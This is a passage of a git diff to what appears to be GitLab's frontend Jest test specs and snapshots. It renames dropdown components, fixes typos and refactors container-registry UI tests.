const findDropdownContainer = () => wrapper.find({ ref: 'dropdownContainer' });
- const findDropdown = () => wrapper.find(GlNewDropdown);
- const findDropdownHeader = () => wrapper.find(GlNewDropdownHeader);
+ const findDropdown = () => wrapper.find(GlDropdown);
+ const findDropdownHeader = () => wrapper.find(GlDropdownSectionHeader);
const findSearchBox = () => wrapper.find(GlSearchBoxByType);
- const findDropdownItems = () => wrapper.findAll(GlNewDropdownItem);
+ const findDropdownItems = () => wrapper.findAll(GlDropdownItem);
describe('user is searching via "filter by commit message"', () => {
it('disables dropdown container', () => {
@@ -133,11 +128,7 @@ describe('Author Select', () => {
const authorName = 'lorem';
findSearchBox().vm.$emit('input', authorName);
- expect(store.actions.fetchAuthors).toHaveBeenCalledWith(
- expect.anything(),
- authorName,
- undefined,
- );
+ expect(store.actions.fetchAuthors).toHaveBeenCalledWith(expect.anything(), authorName);
});
});
diff --git a/spec/frontend/projects/components/__snapshots__/project_delete_button_spec.js.snap b/spec/frontend/projects/components/__snapshots__/project_delete_button_spec.js.snap
index 44220bdef64..455467e7b29 100644
--- a/spec/frontend/projects/components/__snapshots__/project_delete_button_spec.js.snap
+++ b/spec/frontend/projects/components/__snapshots__/project_delete_button_spec.js.snap
@@ -51,12 +51,12 @@ exports[`Project remove modal initialized matches the snapshot 1`] = `
variant="danger"
>
<gl-sprintf-stub
- message="Once a project is permanently deleted it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its respositories and %{strongStart}all related resources%{strongEnd} including issues, merge requests etc."
+ message="Once a project is permanently deleted it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd} including issues, merge requests etc."
/>
</gl-alert-stub>
<p>
- This action cannot be undone. You will lose the project's respository and all conent: issues, merge requests, etc.
+ This action cannot be undone. You will lose the project's repository and all content: issues, merge requests, etc.
</p>
<p
@@ -66,7 +66,9 @@ exports[`Project remove modal initialized matches the snapshot 1`] = `
</p>
<p>
- <code>
+ <code
+ class="gl-white-space-pre-wrap"
+ >
foo
</code>
</p>
diff --git a/spec/frontend/projects/components/shared/__snapshots__/delete_button_spec.js.snap b/spec/frontend/projects/components/shared/__snapshots__/delete_button_spec.js.snap
index a43acc8c002..692b8f6cf52 100644
--- a/spec/frontend/projects/components/shared/__snapshots__/delete_button_spec.js.snap
+++ b/spec/frontend/projects/components/shared/__snapshots__/delete_button_spec.js.snap
@@ -55,7 +55,9 @@ exports[`Project remove modal intialized matches the snapshot 1`] = `
</p>
<p>
- <code>
+ <code
+ class="gl-white-space-pre-wrap"
+ >
foo
</code>
</p>
diff --git a/spec/frontend/projects/settings/access_dropdown_spec.js b/spec/frontend/projects/settings/access_dropdown_spec.js
index 6d323b0408b..3b375c5610f 100644
--- a/spec/frontend/projects/settings/access_dropdown_spec.js
+++ b/spec/frontend/projects/settings/access_dropdown_spec.js
@@ -1,5 +1,4 @@
import $ from 'jquery';
-import '~/gl_dropdown';
import AccessDropdown from '~/projects/settings/access_dropdown';
import { LEVEL_TYPES } from '~/projects/settings/constants';
diff --git a/spec/frontend/projects/settings_service_desk/components/service_desk_root_spec.js b/spec/frontend/projects/settings_service_desk/components/service_desk_root_spec.js
index 4c873bdfd60..0f3b699f6b2 100644
--- a/spec/frontend/projects/settings_service_desk/components/service_desk_root_spec.js
+++ b/spec/frontend/projects/settings_service_desk/components/service_desk_root_spec.js
@@ -195,7 +195,7 @@ describe('ServiceDeskRoot', () => {
.$nextTick()
.then(waitForPromises)
.then(() => {
- expect(wrapper.html()).toContain('Template was successfully saved.');
+ expect(wrapper.html()).toContain('Changes were successfully made.');
});
});
diff --git a/spec/frontend/projects/settings_service_desk/components/service_desk_setting_spec.js b/spec/frontend/projects/settings_service_desk/components/service_desk_setting_spec.js
index 7fe310aa400..cb46751f66a 100644
--- a/spec/frontend/projects/settings_service_desk/components/service_desk_setting_spec.js
+++ b/spec/frontend/projects/settings_service_desk/components/service_desk_setting_spec.js
@@ -26,16 +26,16 @@ describe('ServiceDeskSetting', () => {
});
it('should see activation checkbox', () => {
- expect(wrapper.contains('#service-desk-checkbox')).toBe(true);
+ expect(wrapper.find('#service-desk-checkbox').exists()).toBe(true);
});
it('should see main panel with the email info', () => {
- expect(wrapper.contains('#incoming-email-describer')).toBe(true);
+ expect(wrapper.find('#incoming-email-describer').exists()).toBe(true);
});
it('should see loading spinner and not the incoming email', () => {
expect(wrapper.find(GlLoadingIcon).exists()).toBe(true);
- expect(wrapper.contains('.incoming-email')).toBe(false);
+ expect(wrapper.find('.incoming-email').exists()).toBe(false);
});
});
});
@@ -78,7 +78,7 @@ describe('ServiceDeskSetting', () => {
});
it('renders a copy to clipboard button', () => {
- expect(wrapper.contains('.qa-clipboard-button')).toBe(true);
+ expect(wrapper.find('.qa-clipboard-button').exists()).toBe(true);
expect(wrapper.find('.qa-clipboard-button').element.dataset.clipboardText).toBe(
incomingEmail,
);
@@ -93,7 +93,7 @@ describe('ServiceDeskSetting', () => {
},
});
- expect(wrapper.contains('#service-desk-template-select')).toBe(true);
+ expect(wrapper.find('#service-desk-template-select').exists()).toBe(true);
});
it('renders a dropdown with a default value of ""', () => {
@@ -163,7 +163,7 @@ describe('ServiceDeskSetting', () => {
},
});
- expect(wrapper.find('button.btn-success').text()).toContain('Save template');
+ expect(wrapper.find('button.btn-success').text()).toContain('Save changes');
});
it('emits a save event with the chosen template when the save button is clicked', () => {
@@ -202,15 +202,15 @@ describe('ServiceDeskSetting', () => {
});
it('does not render email panel', () => {
- expect(wrapper.contains('#incoming-email-describer')).toBe(false);
+ expect(wrapper.find('#incoming-email-describer').exists()).toBe(false);
});
it('does not render template dropdown', () => {
- expect(wrapper.contains('#service-desk-template-select')).toBe(false);
+ expect(wrapper.find('#service-desk-template-select').exists()).toBe(false);
});
it('does not render template save button', () => {
- expect(wrapper.contains('button.btn-success')).toBe(false);
+ expect(wrapper.find('button.btn-success').exists()).toBe(false);
});
it('emits an event to turn on Service Desk when the toggle is clicked', () => {
diff --git a/spec/frontend/ref/components/ref_selector_spec.js b/spec/frontend/ref/components/ref_selector_spec.js
index 1556f5b19dc..00b1d5cfbe2 100644
--- a/spec/frontend/ref/components/ref_selector_spec.js
+++ b/spec/frontend/ref/components/ref_selector_spec.js
@@ -2,9 +2,10 @@ import Vuex from 'vuex';
import { mount, createLocalVue } from '@vue/test-utils';
import axios from 'axios';
import MockAdapter from 'axios-mock-adapter';
-import { GlLoadingIcon, GlSearchBoxByType, GlNewDropdownItem, GlIcon } from '@gitlab/ui';
+import { GlLoadingIcon, GlSearchBoxByType, GlDropdownItem, GlIcon } from '@gitlab/ui';
import { trimText } from 'helpers/text_helper';
import { sprintf } from '~/locale';
+import { ENTER_KEY } from '~/lib/utils/keys';
import RefSelector from '~/ref/components/ref_selector.vue';
import { X_TOTAL_HEADER, DEFAULT_I18N } from '~/ref/constants';
import createStore from '~/ref/stores/';
@@ -83,16 +84,18 @@ describe('Ref selector component', () => {
const findLoadingIcon = () => wrapper.find(GlLoadingIcon);
+ const findSearchBox = () => wrapper.find(GlSearchBoxByType);
+
const findBranchesSection = () => wrapper.find('[data-testid="branches-section"]');
- const findBranchDropdownItems = () => findBranchesSection().findAll(GlNewDropdownItem);
+ const findBranchDropdownItems = () => findBranchesSection().findAll(GlDropdownItem);
const findFirstBranchDropdownItem = () => findBranchDropdownItems().at(0);
const findTagsSection = () => wrapper.find('[data-testid="tags-section"]');
- const findTagDropdownItems = () => findTagsSection().findAll(GlNewDropdownItem);
+ const findTagDropdownItems = () => findTagsSection().findAll(GlDropdownItem);
const findFirstTagDropdownItem = () => findTagDropdownItems().at(0);
const findCommitsSection = () => wrapper.find('[data-testid="commits-section"]');
- const findCommitDropdownItems = () => findCommitsSection().findAll(GlNewDropdownItem);
+ const findCommitDropdownItems = () => findCommitsSection().findAll(GlDropdownItem);
const findFirstCommitDropdownItem = () => findCommitDropdownItems().at(0);
//
@@ -120,7 +123,7 @@ describe('Ref selector component', () => {
// Convenience methods
//
const updateQuery = newQuery => {
- wrapper.find(GlSearchBoxByType).vm.$emit('input', newQuery);
+ findSearchBox().vm.$emit('input', newQuery);
};
const selectFirstBranch = () => {
@@ -174,7 +177,7 @@ describe('Ref selector component', () => {
return waitForRequests();
});
- it('adds the provided ID to the GlNewDropdown instance', () => {
+ it('adds the provided ID to the GlDropdown instance', () => {
expect(wrapper.attributes().id).toBe(id);
});
});
@@ -244,6 +247,23 @@ describe('Ref selector component', () => {
});
});
+ describe('when the Enter is pressed', () => {
+ beforeEach(() => {
+ createComponent();
+
+ return waitForRequests({ andClearMocks: true });
+ });
+
+ it('requeries the endpoints when Enter is pressed', () => {
+ findSearchBox().vm.$emit('keydown', new KeyboardEvent({ key: ENTER_KEY }));
+
+ return waitForRequests().then(() => {
+ expect(branchesApiCallSpy).toHaveBeenCalledTimes(1);
+ expect(tagsApiCallSpy).toHaveBeenCalledTimes(1);
+ });
+ });
+ });
+
describe('when no results are found', () => {
beforeEach(() => {
branchesApiCallSpy = jest.fn().mockReturnValue([200, [], { [X_TOTAL_HEADER]: '0' }]);
diff --git a/spec/frontend/registry/explorer/components/delete_button_spec.js b/spec/frontend/registry/explorer/components/delete_button_spec.js
index bb0fe81117a..a79ca77a464 100644
--- a/spec/frontend/registry/explorer/components/delete_button_spec.js
+++ b/spec/frontend/registry/explorer/components/delete_button_spec.js
@@ -54,7 +54,6 @@ describe('delete_button', () => {
mountComponent({ disabled: true });
expect(findButton().attributes()).toMatchObject({
'aria-label': 'Foo title',
- category: 'secondary',
icon: 'remove',
title: 'Foo title',
variant: 'danger',
diff --git a/spec/frontend/registry/explorer/components/details_page/details_header_spec.js b/spec/frontend/registry/explorer/components/details_page/details_header_spec.js
index cb31efa428f..fc93e9094c9 100644
--- a/spec/frontend/registry/explorer/components/details_page/details_header_spec.js
+++ b/spec/frontend/registry/explorer/components/details_page/details_header_spec.js
@@ -1,5 +1,6 @@
import { shallowMount } from '@vue/test-utils';
import { GlSprintf } from '@gitlab/ui';
+import TitleArea from '~/vue_shared/components/registry/title_area.vue';
import component from '~/registry/explorer/components/details_page/details_header.vue';
import { DETAILS_PAGE_TITLE } from '~/registry/explorer/constants';
@@ -11,6 +12,7 @@ describe('Details Header', () => {
propsData,
stubs: {
GlSprintf,
+ TitleArea,
},
});
};
diff --git a/spec/frontend/registry/explorer/components/details_page/tags_list_row_spec.js b/spec/frontend/registry/explorer/components/details_page/tags_list_row_spec.js
index a21facefc97..ef22979ca7d 100644
--- a/spec/frontend/registry/explorer/components/details_page/tags_list_row_spec.js
+++ b/spec/frontend/registry/explorer/components/details_page/tags_list_row_spec.js
@@ -6,7 +6,7 @@ import ClipboardButton from '~/vue_shared/components/clipboard_button.vue';
import TimeAgoTooltip from '~/vue_shared/components/time_ago_tooltip.vue';
import component from '~/registry/explorer/components/details_page/tags_list_row.vue';
import DeleteButton from '~/registry/explorer/components/delete_button.vue';
-import DetailsRow from '~/registry/shared/components/details_row.vue';
+import DetailsRow from '~/vue_shared/components/registry/details_row.vue';
import {
REMOVE_TAG_BUTTON_TITLE,
REMOVE_TAG_BUTTON_DISABLE_TOOLTIP,
diff --git a/spec/frontend/registry/explorer/components/details_page/tags_list_spec.js b/spec/frontend/registry/explorer/components/details_page/tags_list_spec.js
index 1f560753476..401202026bb 100644
--- a/spec/frontend/registry/explorer/components/details_page/tags_list_spec.js
+++ b/spec/frontend/registry/explorer/components/details_page/tags_list_spec.js
@@ -115,7 +115,6 @@ describe('Tags List', () => {
// The list has only two tags and for some reasons .at(-1) does not work
expect(rows.at(1).attributes()).toMatchObject({
- last: 'true',
isdesktop: 'true',
});
});
diff --git a/spec/frontend/registry/explorer/components/list_item_spec.js b/spec/frontend/registry/explorer/components/list_item_spec.js
deleted file mode 100644
index f244627a8c3..00000000000
--- a/spec/frontend/registry/explorer/components/list_item_spec.js
+++ /dev/null
@@ -1,156 +0,0 @@
-import { GlButton } from '@gitlab/ui';
-import { shallowMount } from '@vue/test-utils';
-import component from '~/registry/explorer/components/list_item.vue';
-
-describe('list item', () => {
- let wrapper;
-
- const findLeftActionSlot = () => wrapper.find('[data-testid="left-action"]');
- const findLeftPrimarySlot = () => wrapper.find('[data-testid="left-primary"]');
- const findLeftSecondarySlot = () => wrapper.find('[data-testid="left-secondary"]');
- const findRightPrimarySlot = () => wrapper.find('[data-testid="right-primary"]');
- const findRightSecondarySlot = () => wrapper.find('[data-testid="right-secondary"]');
- const findRightActionSlot = () => wrapper.find('[data-testid="right-action"]');
- const findDetailsSlot = name => wrapper.find(`[data-testid="${name}"]`);
- const findToggleDetailsButton = () => wrapper.find(GlButton);
-
- const mountComponent = (propsData, slots) => {
- wrapper = shallowMount(component, {
- propsData,
- slots: {
- 'left-action': '<div data-testid="left-action" />',
- 'left-primary': '<div data-testid="left-primary" />',
- 'left-secondary': '<div data-testid="left-secondary" />',
- 'right-primary': '<div data-testid="right-primary" />',
- 'right-secondary': '<div data-testid="right-secondary" />',
- 'right-action': '<div data-testid="right-action" />',
- ...slots,
- },
- });
- };
-
- afterEach(() => {
- wrapper.destroy();
- wrapper = null;
- });
-
- it.each`
- slotName | finderFunction
- ${'left-primary'} | ${findLeftPrimarySlot}
- ${'left-secondary'} | ${findLeftSecondarySlot}
- ${'right-primary'} | ${findRightPrimarySlot}
- ${'right-secondary'} | ${findRightSecondarySlot}
- ${'left-action'} | ${findLeftActionSlot}
- ${'right-action'} | ${findRightActionSlot}
- `('has a $slotName slot', ({ finderFunction }) => {
- mountComponent();
-
- expect(finderFunction().exists()).toBe(true);
- });
-
- describe.each`
- slotNames
- ${['details_foo']}
- ${['details_foo', 'details_bar']}
- ${['details_foo', 'details_bar', 'details_baz']}
- `('$slotNames details slots', ({ slotNames }) => {
- const slotMocks = slotNames.reduce((acc, current) => {
- acc[current] = `<div data-testid="${current}" />`;
- return acc;
- }, {});
-
- it('are visible when details is shown', async () => {
- mountComponent({}, slotMocks);
-
- await wrapper.vm.$nextTick();
- findToggleDetailsButton().vm.$emit('click');
-
- await wrapper.vm.$nextTick();
- slotNames.forEach(name => {
- expect(findDetailsSlot(name).exists()).toBe(true);
- });
- });
- it('are not visible when details are not shown', () => {
- mountComponent({}, slotMocks);
-
- slotNames.forEach(name => {
- expect(findDetailsSlot(name).exists()).toBe(false);
- });
- });
- });
-
- describe('details toggle button', () => {
- it('is visible when at least one details slot exists', async () => {
- mountComponent({}, { details_foo: '<span></span>' });
- await wrapper.vm.$nextTick();
- expect(findToggleDetailsButton().exists()).toBe(true);
- });
-
- it('is hidden without details slot', () => {
- mountComponent();
- expect(findToggleDetailsButton().exists()).toBe(false);
- });
- });
-
- describe('disabled prop', () => {
- it('when true applies disabled-content class', () => {
- mountComponent({ disabled: true });
-
- expect(wrapper.classes('disabled-content')).toBe(true);
- });
-
- it('when false does not apply disabled-content class', () => {
- mountComponent({ disabled: false });
-
- expect(wrapper.classes('disabled-content')).toBe(false);
- });
- });
-
- describe('first prop', () => {
- it('when is true displays a double top border', () => {
- mountComponent({ first: true });
-
- expect(wrapper.classes('gl-border-t-2')).toBe(true);
- });
-
- it('when is false display a single top border', () => {
- mountComponent({ first: false });
-
- expect(wrapper.classes('gl-border-t-1')).toBe(true);
- });
- });
-
- describe('last prop', () => {
- it('when is true displays a double bottom border', () => {
- mountComponent({ last: true });
-
- expect(wrapper.classes('gl-border-b-2')).toBe(true);
- });
-
- it('when is false display a single bottom border', () => {
- mountComponent({ last: false });
-
- expect(wrapper.classes('gl-border-b-1')).toBe(true);
- });
- });
-
- describe('selected prop', () => {
- it('when true applies the selected border and background', () => {
- mountComponent({ selected: true });
-
- expect(wrapper.classes()).toEqual(
- expect.arrayContaining(['gl-bg-blue-50', 'gl-border-blue-200']),
- );
- expect(wrapper.classes()).toEqual(expect.not.arrayContaining(['gl-border-gray-100']));
- });
-
- it('when false applies the default border', () => {
- mountComponent({ selected: false });
-
- expect(wrapper.classes()).toEqual(
- expect.not.arrayContaining(['gl-bg-blue-50', 'gl-border-blue-200']),
- );
- expect(wrapper.classes()).toEqual(expect.arrayContaining(['gl-border-gray-100']));
- });
- });
-});
diff --git a/spec/frontend/registry/explorer/components/list_page/cli_commands_spec.js b/spec/frontend/registry/explorer/components/list_page/cli_commands_spec.js
index b0291de5f3c..b4471ab8122 100644
--- a/spec/frontend/registry/explorer/components/list_page/cli_commands_spec.js
+++ b/spec/frontend/registry/explorer/components/list_page/cli_commands_spec.js
@@ -1,10 +1,10 @@
import Vuex from 'vuex';
import { mount, createLocalVue } from '@vue/test-utils';
-import { GlDeprecatedDropdown, GlFormGroup, GlFormInputGroup } from '@gitlab/ui';
+import { GlDeprecatedDropdown } from '@gitlab/ui';
import Tracking from '~/tracking';
import * as getters from '~/registry/explorer/stores/getters';
import QuickstartDropdown from '~/registry/explorer/components/list_page/cli_commands.vue';
-import ClipboardButton from '~/vue_shared/components/clipboard_button.vue';
+import CodeInstruction from '~/vue_shared/components/registry/code_instruction.vue';
import {
QUICK_START,
@@ -24,7 +24,7 @@ describe('cli_commands', () => {
let store;
const findDropdownButton = () => wrapper.find(GlDeprecatedDropdown);
- const findFormGroups = () => wrapper.findAll(GlFormGroup);
+ const findCodeInstruction = () => wrapper.findAll(CodeInstruction);
const mountComponent = () => {
store = new Vuex.Store({
@@ -67,54 +67,29 @@ describe('cli_commands', () => {
});
describe.each`
- index | id | labelText | titleText | getter | trackedEvent
- ${0} | ${'docker-login-btn'} | ${LOGIN_COMMAND_LABEL} | ${COPY_LOGIN_TITLE} | ${'dockerLoginCommand'} | ${'click_copy_login'}
- ${1} | ${'docker-build-btn'} | ${BUILD_COMMAND_LABEL} | ${COPY_BUILD_TITLE} | ${'dockerBuildCommand'} | ${'click_copy_build'}
- ${2} | ${'docker-push-btn'} | ${PUSH_COMMAND_LABEL} | ${COPY_PUSH_TITLE} | ${'dockerPushCommand'} | ${'click_copy_push'}
- `('form group at $index', ({ index, id, labelText, titleText, getter, trackedEvent }) => {
- let formGroup;
-
- const findFormInputGroup = parent => parent.find(GlFormInputGroup);
- const findClipboardButton = parent => parent.find(ClipboardButton);
+ index | labelText | titleText | getter | trackedEvent
+ ${0} | ${LOGIN_COMMAND_LABEL} | ${COPY_LOGIN_TITLE} | ${'dockerLoginCommand'} | ${'click_copy_login'}
+ ${1} | ${BUILD_COMMAND_LABEL} | ${COPY_BUILD_TITLE} | ${'dockerBuildCommand'} | ${'click_copy_build'}
+ ${2} | ${PUSH_COMMAND_LABEL} | ${COPY_PUSH_TITLE} | ${'dockerPushCommand'} | ${'click_copy_push'}
+ `('code instructions at $index', ({ index, labelText, titleText, getter, trackedEvent }) => {
+ let codeInstruction;
beforeEach(() => {
- formGroup = findFormGroups().at(index);
+ codeInstruction = findCodeInstruction().at(index);
});
it('exists', () => {
- expect(formGroup.exists()).toBe(true);
- });
-
- it(`has a label ${labelText}`, () => {
- expect(formGroup.text()).toBe(labelText);
- });
-
- it(`contains a form input group with ${id} id and with value equal to ${getter} getter`, () => {
- const formInputGroup = findFormInputGroup(formGroup);
- expect(formInputGroup.exists()).toBe(true);
- expect(formInputGroup.attributes('id')).toBe(id);
- expect(formInputGroup.props('value')).toBe(store.getters[getter]);
- });
-
- it(`contains a clipboard button with title of ${titleText} and text equal to ${getter} getter`, () => {
- const clipBoardButton = findClipboardButton(formGroup);
- expect(clipBoardButton.exists()).toBe(true);
- expect(clipBoardButton.props('title')).toBe(titleText);
- expect(clipBoardButton.props('text')).toBe(store.getters[getter]);
+ expect(codeInstruction.exists()).toBe(true);
});
- it('clipboard button tracks click event', () => {
- const clipBoardButton = findClipboardButton(formGroup);
- clipBoardButton.trigger('click');
- /* This expect to be called with first argument undefined so that
- * the function internally can default to document.body.dataset.page
- * https://docs.gitlab.com/ee/telemetry/frontend.html#tracking-within-vue-components
- */
- expect(Tracking.event).toHaveBeenCalledWith(
- undefined,
- trackedEvent,
- expect.objectContaining({ label: 'quickstart_dropdown' }),
- );
+ it(`has the correct props`, () => {
+ expect(codeInstruction.props()).toMatchObject({
+ label: labelText,
+ instruction: store.getters[getter],
+ copyText: titleText,
+ trackingAction: trackedEvent,
+ trackingLabel: 'quickstart_dropdown',
+ });
});
});
});
diff --git a/spec/frontend/registry/explorer/components/list_page/image_list_row_spec.js b/spec/frontend/registry/explorer/components/list_page/image_list_row_spec.js
index aaeaaf00748..c5b4b3fa5d8 100644
--- a/spec/frontend/registry/explorer/components/list_page/image_list_row_spec.js
+++ b/spec/frontend/registry/explorer/components/list_page/image_list_row_spec.js
@@ -3,7 +3,7 @@ import { GlIcon, GlSprintf } from '@gitlab/ui';
import { createMockDirective, getBinding } from 'helpers/vue_mock_directive';
import ClipboardButton from '~/vue_shared/components/clipboard_button.vue';
import Component from '~/registry/explorer/components/list_page/image_list_row.vue';
-import ListItem from '~/registry/explorer/components/list_item.vue';
+import ListItem from '~/vue_shared/components/registry/list_item.vue';
import DeleteButton from '~/registry/explorer/components/delete_button.vue';
import {
ROW_SCHEDULED_FOR_DELETION,
diff --git a/spec/frontend/registry/explorer/components/list_page/registry_header_spec.js b/spec/frontend/registry/explorer/components/list_page/registry_header_spec.js
index 7484fccbea7..7a27f8fa431 100644
--- a/spec/frontend/registry/explorer/components/list_page/registry_header_spec.js
+++ b/spec/frontend/registry/explorer/components/list_page/registry_header_spec.js
@@ -1,12 +1,12 @@
import { shallowMount } from '@vue/test-utils';
import { GlSprintf, GlLink } from '@gitlab/ui';
import Component from '~/registry/explorer/components/list_page/registry_header.vue';
+import TitleArea from '~/vue_shared/components/registry/title_area.vue';
import {
CONTAINER_REGISTRY_TITLE,
LIST_INTRO_TEXT,
EXPIRATION_POLICY_DISABLED_MESSAGE,
EXPIRATION_POLICY_DISABLED_TEXT,
- EXPIRATION_POLICY_WILL_RUN_IN,
} from '~/registry/explorer/constants';
jest.mock('~/lib/utils/datetime_utility', () => ({
@@ -17,12 +17,10 @@ jest.mock('~/lib/utils/datetime_utility', () => ({
describe('registry_header', () => {
let wrapper;
- const findHeader = () => wrapper.find('[data-testid="header"]');
- const findTitle = () => wrapper.find('[data-testid="title"]');
+ const findTitleArea = () => wrapper.find(TitleArea);
const findCommandsSlot = () => wrapper.find('[data-testid="commands-slot"]');
const findInfoArea = () => wrapper.find('[data-testid="info-area"]');
const findIntroText = () => wrapper.find('[data-testid="default-intro"]');
- const findSubHeader = () => wrapper.find('[data-testid="subheader"]');
const findImagesCountSubHeader = () => wrapper.find('[data-testid="images-count"]');
const findExpirationPolicySubHeader = () => wrapper.find('[data-testid="expiration-policy"]');
const findDisabledExpirationPolicyMessage = () =>
@@ -32,10 +30,12 @@ describe('registry_header', () => {
wrapper = shallowMount(Component, {
stubs: {
GlSprintf,
+ TitleArea,
},
propsData,
slots,
});
+ return wrapper.vm.$nextTick();
};
afterEach(() => {
@@ -44,90 +44,80 @@ describe('registry_header', () => {
});
describe('header', () => {
- it('exists', () => {
+ it('has a title', () => {
mountComponent();
- expect(findHeader().exists()).toBe(true);
- });
- it('contains the title of the page', () => {
- mountComponent();
- const title = findTitle();
- expect(title.exists()).toBe(true);
- expect(title.text()).toBe(CONTAINER_REGISTRY_TITLE);
+ expect(findTitleArea().props('title')).toBe(CONTAINER_REGISTRY_TITLE);
});
it('has a commands slot', () => {
- mountComponent(null, { commands: 'baz' });
+ mountComponent(null, { commands: '<div data-testid="commands-slot">baz</div>' });
+
expect(findCommandsSlot().text()).toBe('baz');
});
- });
- describe('subheader', () => {
- describe('when there are no images', () => {
- it('is hidden ', () => {
- mountComponent();
- expect(findSubHeader().exists()).toBe(false);
- });
- });
+ describe('sub header parts', () => {
+ describe('images count', () => {
+ it('exists', async () => {
+ await mountComponent({ imagesCount: 1 });
- describe('when there are images', () => {
- it('is visible', () => {
- mountComponent({ imagesCount: 1 });
- expect(findSubHeader().exists()).toBe(true);
- });
+ expect(findImagesCountSubHeader().exists()).toBe(true);
+ });
+
+ it('when there is one image', async () => {
+ await mountComponent({ imagesCount: 1 });
- describe('sub header parts', () => {
- describe('images count', () => {
- it('exists', () => {
- mountComponent({ imagesCount: 1 });
- expect(findImagesCountSubHeader().exists()).toBe(true);
+ expect(findImagesCountSubHeader().props()).toMatchObject({
+ text: '1 Image repository',
+ icon: 'container-image',
});
+ });
+
+ it('when there is more than one image', async () => {
+ await mountComponent({ imagesCount: 3 });
+
+ expect(findImagesCountSubHeader().props('text')).toBe('3 Image repositories');
+ });
+ });
- it('when there is one image', () => {
- mountComponent({ imagesCount: 1 });
- expect(findImagesCountSubHeader().text()).toMatchInterpolatedText('1 Image repository');
+ describe('expiration policy', () => {
+ it('when is disabled', async () => {
+ await mountComponent({
+ expirationPolicy: { enabled: false },
+ expirationPolicyHelpPagePath: 'foo',
+ imagesCount: 1,
});
- it('when there is more than one image', () => {
- mountComponent({ imagesCount: 3 });
- expect(findImagesCountSubHeader().text()).toMatchInterpolatedText(
- '3 Image repositories',
- );
+ const text = findExpirationPolicySubHeader();
+ expect(text.exists()).toBe(true);
+ expect(text.props()).toMatchObject({
+ text: EXPIRATION_POLICY_DISABLED_TEXT,
+ icon: 'expire',
+ size: 'xl',
});
});
- describe('expiration policy', () => {
- it('when is disabled', () => {
- mountComponent({
- expirationPolicy: { enabled: false },
- expirationPolicyHelpPagePath: 'foo',
- imagesCount: 1,
- });
- const text = findExpirationPolicySubHeader();
- expect(text.exists()).toBe(true);
- expect(text.text()).toMatchInterpolatedText(EXPIRATION_POLICY_DISABLED_TEXT);
+ it('when is enabled', async () => {
+ await mountComponent({
+ expirationPolicy: { enabled: true },
+ expirationPolicyHelpPagePath: 'foo',
+ imagesCount: 1,
});
- it('when is enabled', () => {
- mountComponent({
- expirationPolicy: { enabled: true },
- expirationPolicyHelpPagePath: 'foo',
- imagesCount: 1,
- });
- const text = findExpirationPolicySubHeader();
- expect(text.exists()).toBe(true);
- expect(text.text()).toMatchInterpolatedText(EXPIRATION_POLICY_WILL_RUN_IN);
- });
- it('when the expiration policy is completely disabled', () => {
- mountComponent({
- expirationPolicy: { enabled: true },
- expirationPolicyHelpPagePath: 'foo',
- imagesCount: 1,
- hideExpirationPolicyData: true,
- });
- const text = findExpirationPolicySubHeader();
- expect(text.exists()).toBe(false);
+ const text = findExpirationPolicySubHeader();
+ expect(text.exists()).toBe(true);
+ expect(text.props('text')).toBe('Expiration policy will run in ');
+ });
+ it('when the expiration policy is completely disabled', async () => {
+ await mountComponent({
+ expirationPolicy: { enabled: true },
+ expirationPolicyHelpPagePath: 'foo',
+ imagesCount: 1,
+ hideExpirationPolicyData: true,
});
+
+ const text = findExpirationPolicySubHeader();
+ expect(text.exists()).toBe(false);
});
});
});
@@ -136,12 +126,13 @@ describe('registry_header', () => {
describe('info area', () => {
it('exists', () => {
mountComponent();
+
expect(findInfoArea().exists()).toBe(true);
});
describe('default message', () => {
beforeEach(() => {
- mountComponent({ helpPagePath: 'bar' });
+ return mountComponent({ helpPagePath: 'bar' });
});
it('exists', () => {
@@ -165,6 +156,7 @@ describe('registry_header', () => {
describe('when there are no images', () => {
it('is hidden', () => {
mountComponent();
+
expect(findDisabledExpirationPolicyMessage().exists()).toBe(false);
});
});
@@ -172,7 +164,7 @@ describe('registry_header', () => {
describe('when there are images', () => {
describe('when expiration policy is disabled', () => {
beforeEach(() => {
- mountComponent({
+ return mountComponent({
expirationPolicy: { enabled: false },
expirationPolicyHelpPagePath: 'foo',
imagesCount: 1,
@@ -202,6 +194,7 @@ describe('registry_header', () => {
expirationPolicy: { enabled: true },
imagesCount: 1,
});
+
expect(findDisabledExpirationPolicyMessage().exists()).toBe(false);
});
});
@@ -212,6 +205,7 @@ describe('registry_header', () => {
imagesCount: 1,
hideExpirationPolicyData: true,
});
+
expect(findDisabledExpirationPolicyMessage().exists()).toBe(false);
});
});
diff --git a/spec/frontend/registry/explorer/components/registry_breadcrumb_spec.js b/spec/frontend/registry/explorer/components/registry_breadcrumb_spec.js
index f04585a6ff4..b906e44a4f7 100644
--- a/spec/frontend/registry/explorer/components/registry_breadcrumb_spec.js
+++ b/spec/frontend/registry/explorer/components/registry_breadcrumb_spec.js
@@ -117,7 +117,7 @@ describe('Registry Breadcrumb', () => {
});
it('has the same tag as the last children of the crumbs', () => {
- expect(findLastCrumb().is(lastChildren.tagName)).toBe(true);
+ expect(findLastCrumb().element.tagName).toBe(lastChildren.tagName.toUpperCase());
});
it('has the same classes as the last children of the crumbs', () => {
diff --git a/spec/frontend/registry/explorer/pages/list_spec.js b/spec/frontend/registry/explorer/pages/list_spec.js
index b4e46fda2c4..b24422adb03 100644
--- a/spec/frontend/registry/explorer/pages/list_spec.js
+++ b/spec/frontend/registry/explorer/pages/list_spec.js
@@ -8,6 +8,7 @@ import GroupEmptyState from '~/registry/explorer/components/list_page/group_empt
import ProjectEmptyState from '~/registry/explorer/components/list_page/project_empty_state.vue';
import RegistryHeader from '~/registry/explorer/components/list_page/registry_header.vue';
import ImageList from '~/registry/explorer/components/list_page/image_list.vue';
+import TitleArea from '~/vue_shared/components/registry/title_area.vue';
import { createStore } from '~/registry/explorer/stores/';
import {
SET_MAIN_LOADING,
@@ -54,6 +55,7 @@ describe('List Page', () => {
GlEmptyState,
GlSprintf,
RegistryHeader,
+ TitleArea,
},
mocks: {
$toast,
diff --git a/spec/frontend/registry/explorer/stubs.js b/spec/frontend/registry/explorer/stubs.js
index 8f95fce2867..b6c0ee67757 100644
--- a/spec/frontend/registry/explorer/stubs.js
+++ b/spec/frontend/registry/explorer/stubs.js
@@ -1,5 +1,5 @@
import RealDeleteModal from '~/registry/explorer/components/details_page/delete_modal.vue';
